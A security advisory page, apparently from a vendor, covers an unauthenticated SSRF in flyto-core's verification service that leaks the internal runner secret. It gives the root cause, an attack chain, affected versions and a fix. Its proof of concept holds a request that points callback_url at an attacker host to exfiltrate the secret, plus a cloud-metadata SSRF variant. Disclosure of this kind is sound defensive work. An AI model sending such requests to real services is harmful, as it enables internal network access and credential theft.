GHSA-jx74-cqjv-2c67 is a critical-severity (CVSS 9.3) Missing Authentication vulnerability in flyto-core. O3 Security confirms whether GHSA-jx74-cqjv-2c67 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jx74-cqjv-2c67.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jx74-cqjv-2c67 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 373,366 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
flyto-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.
Root Cause
src/core/verification_service.py:363-364—/runhas noDepends/auth dependency.resolve_callback_urlreturns the clientcallback_urlverbatim (:315-316).post_callbackattachesX-Internal-Key: $FLYTO_RUNNER_SECRETwhenever the env var is set (:327-335).target_allowedonly gatesparams.target_url(:259), nevercallback_url. Novalidate_url_*anywhere in the file.Dockerfile.verificationCMD =main('0.0.0.0', 8344); entrypointflyto-verificationinpyproject.toml:107→ the shipped image binds all interfaces by default.
Impact
Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).
Proof of Concept
Code-proven this session (all lines confirmed on v2.26.6):
POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.
Attack Chain
- Entry: unauthenticated
POST http://<host>:8344/runwithcallback_url:"http://attacker.tld/collect". Guard: auth on/run. Bypass proof: noDepends(require_auth)(verification_service.py:363-364); Dockerfile binds all interfaces on port 8344. - Check:
target_allowedscope (:259). Bypass proof: only inspectsparams.target_url;callback_urlis never passed throughextract_host/target_allowed. - Check: SSRF validation on
callback_url. Bypass proof: file has ZEROvalidate_urlreferences. - Sink:
post_callback→session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET})(:330-335); header attached unconditionally when the env var is set (:327-329). - Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.
Bypass Evidence
/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.
Affected Versions
<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.
Suggested Fix
Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.
Credit
Vulnerability discovered by zx (Jace).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | flyto-core | ≥ 2.26.6&&< 2.26.7 | 2.26.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flyto-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flyto-core to 2.26.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jx74-cqjv-2c67 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jx74-cqjv-2c67 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jx74-cqjv-2c67. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jx74-cqjv-2c67 in your dependencies?
O3 detects GHSA-jx74-cqjv-2c67 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.